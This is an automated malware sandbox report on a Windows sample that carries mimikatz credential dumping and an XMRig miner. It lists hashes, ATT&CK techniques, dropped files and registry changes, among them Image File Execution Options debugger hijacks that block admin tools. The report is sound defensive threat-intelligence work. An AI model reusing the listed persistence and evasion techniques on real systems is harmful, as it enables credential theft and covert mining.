mimikatz | 3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643e

Analysis

max time kernel
120s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 02:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
Size

9.2MB
MD5

9aa307bf17ed00c9228c8e34433ed6b0
SHA1

0bd67d97a100efd3245eec2fe0d7169e761ebdaf
SHA256

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643e
SHA512

c501a220d53f4b1abab239bb2c3c57a2137afc3bbbe074aa5504ae71c007d17acc9901eabbdefd914be8e0bd322997a41f39f7ef0b52e3d37a8b810fb5591d4e
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

gaettyt.exe

description pid process target process

PID 2664 created 1004 2664 gaettyt.exe spoolsv.exe
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (3906) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

description	pid	process	target process
PID 2664 created 1004	2664	gaettyt.exe	spoolsv.exe

XMRig Miner payload 7 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1756-178-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig
behavioral2/memory/1756-183-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig
behavioral2/memory/1756-200-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig
behavioral2/memory/1756-214-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig
behavioral2/memory/1756-223-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig
behavioral2/memory/1756-233-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig
behavioral2/memory/1756-248-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/456-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/456-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
C:\Windows\qpkiztfb\gaettyt.exe	mimikatz
behavioral2/memory/1704-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/1088-138-0x00007FF7AEFE0000-0x00007FF7AF0CE000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

Processes:

gaettyt.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	gaettyt.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

gaettyt.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	gaettyt.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

5056 netsh.exe
4740 netsh.exe

pid	process
5056	netsh.exe
4740	netsh.exe

Executes dropped EXE 27 IoCs

Processes:

gaettyt.exegaettyt.exewpcap.exebilutlrif.exevfshost.exespitymcii.exexohudmc.exeumueiy.execeuhqk.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exegaettyt.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exelutllwily.exe

pid	process
1704	gaettyt.exe
2664	gaettyt.exe
1452	wpcap.exe
2480	bilutlrif.exe
1088	vfshost.exe
1308	spitymcii.exe
4612	xohudmc.exe
4320	umueiy.exe
1756	ceuhqk.exe
4712	spitymcii.exe
4952	spitymcii.exe
312	spitymcii.exe
4428	spitymcii.exe
1700	spitymcii.exe
4308	spitymcii.exe
2640	spitymcii.exe
3892	spitymcii.exe
2796	gaettyt.exe
4788	spitymcii.exe
2504	spitymcii.exe
5100	spitymcii.exe
1444	spitymcii.exe
1500	spitymcii.exe
3424	spitymcii.exe
2200	spitymcii.exe
3948	spitymcii.exe
940	lutllwily.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exebilutlrif.exe

pid	process
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
1452	wpcap.exe
2480	bilutlrif.exe
2480	bilutlrif.exe
2480	bilutlrif.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

69 ifconfig.me
70 ifconfig.me
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

flow	ioc
69	ifconfig.me
70	ifconfig.me

Drops file in System32 directory 18 IoCs

Processes:

gaettyt.exewpcap.exexohudmc.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	gaettyt.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	gaettyt.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\umueiy.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\umueiy.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	gaettyt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	gaettyt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\088D7AA6D7DCA369223412E8DEF831B8	gaettyt.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	gaettyt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	gaettyt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\088D7AA6D7DCA369223412E8DEF831B8	gaettyt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	gaettyt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	gaettyt.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	gaettyt.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1088-135-0x00007FF7AEFE0000-0x00007FF7AF0CE000-memory.dmp	upx
C:\Windows\utbcclcbi\Corporate\vfshost.exe	upx
behavioral2/memory/1088-138-0x00007FF7AEFE0000-0x00007FF7AF0CE000-memory.dmp	upx
behavioral2/memory/1308-142-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
C:\Windows\Temp\utbcclcbi\spitymcii.exe	upx
behavioral2/memory/1308-146-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
C:\Windows\Temp\bgegeutip\ceuhqk.exe	upx
behavioral2/memory/1756-161-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/4712-172-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/4952-176-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-178-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/312-181-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-183-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/4428-186-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1700-190-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/4308-194-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/2640-198-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-200-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/3892-203-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/4788-211-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-214-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/2504-216-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/5100-220-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-223-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/1444-225-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1500-229-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/3424-232-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-233-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx
behavioral2/memory/2200-235-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/3948-237-0x00007FF771220000-0x00007FF77127B000-memory.dmp	upx
behavioral2/memory/1756-248-0x00007FF7801D0000-0x00007FF7802F0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

gaettyt.exe3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exelutllwily.execmd.exe

description	ioc	process
File created	C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.dll	gaettyt.exe
File created	C:\Windows\qpkiztfb\svschost.xml	gaettyt.exe
File created	C:\Windows\qpkiztfb\gaettyt.exe	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\libeay32.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\posh-0.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\tucl-1.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\svschost.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\spoolsrv.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\schoedcl.exe	gaettyt.exe
File opened for modification	C:\Windows\qpkiztfb\docmicfg.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\exma-1.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\zlib1.dll	gaettyt.exe
File created	C:\Windows\qpkiztfb\schoedcl.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\Corporate\mimilib.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\libxml2.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\trch-1.dll	gaettyt.exe
File created	C:\Windows\qpkiztfb\docmicfg.xml	gaettyt.exe
File opened for modification	C:\Windows\qpkiztfb\schoedcl.xml	gaettyt.exe
File opened for modification	C:\Windows\utbcclcbi\kgwtlrdzw\Result.txt	lutllwily.exe
File created	C:\Windows\utbcclcbi\UnattendGC\vimpcsvc.xml	gaettyt.exe
File opened for modification	C:\Windows\qpkiztfb\svschost.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\Corporate\vfshost.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\ucl.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\AppCapture32.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\kgwtlrdzw\scan.bat	gaettyt.exe
File opened for modification	C:\Windows\qpkiztfb\gaettyt.exe	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
File opened for modification	C:\Windows\utbcclcbi\kgwtlrdzw\Packet.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\trfo-2.dll	gaettyt.exe
File created	C:\Windows\qpkiztfb\vimpcsvc.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\kgwtlrdzw\Packet.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\cnli-1.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\coli-0.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\vimpcsvc.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\spoolsrv.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\svschost.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\kgwtlrdzw\bilutlrif.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\kgwtlrdzw\lutllwily.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\tibe-2.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\Shellcode.ini	gaettyt.exe
File created	C:\Windows\utbcclcbi\Corporate\mimidrv.sys	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\crli-0.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\ssleay32.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\spoolsrv.xml	gaettyt.exe
File opened for modification	C:\Windows\qpkiztfb\spoolsrv.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\docmicfg.xml	gaettyt.exe
File opened for modification	C:\Windows\qpkiztfb\vimpcsvc.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\vimpcsvc.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\AppCapture64.dll	gaettyt.exe
File opened for modification	C:\Windows\utbcclcbi\Corporate\log.txt	cmd.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\xdvl-0.dll	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\svschost.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\docmicfg.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\schoedcl.xml	gaettyt.exe
File created	C:\Windows\qpkiztfb\spoolsrv.xml	gaettyt.exe
File created	C:\Windows\utbcclcbi\upbdrjv\swrpwe.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\kgwtlrdzw\ip.txt	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\specials\docmicfg.exe	gaettyt.exe
File created	C:\Windows\utbcclcbi\UnattendGC\schoedcl.xml	gaettyt.exe
File created	C:\Windows\ime\gaettyt.exe	gaettyt.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

4824 sc.exe
3092 sc.exe
4276 sc.exe
3604 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4824	sc.exe
3092	sc.exe
4276	sc.exe
3604	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
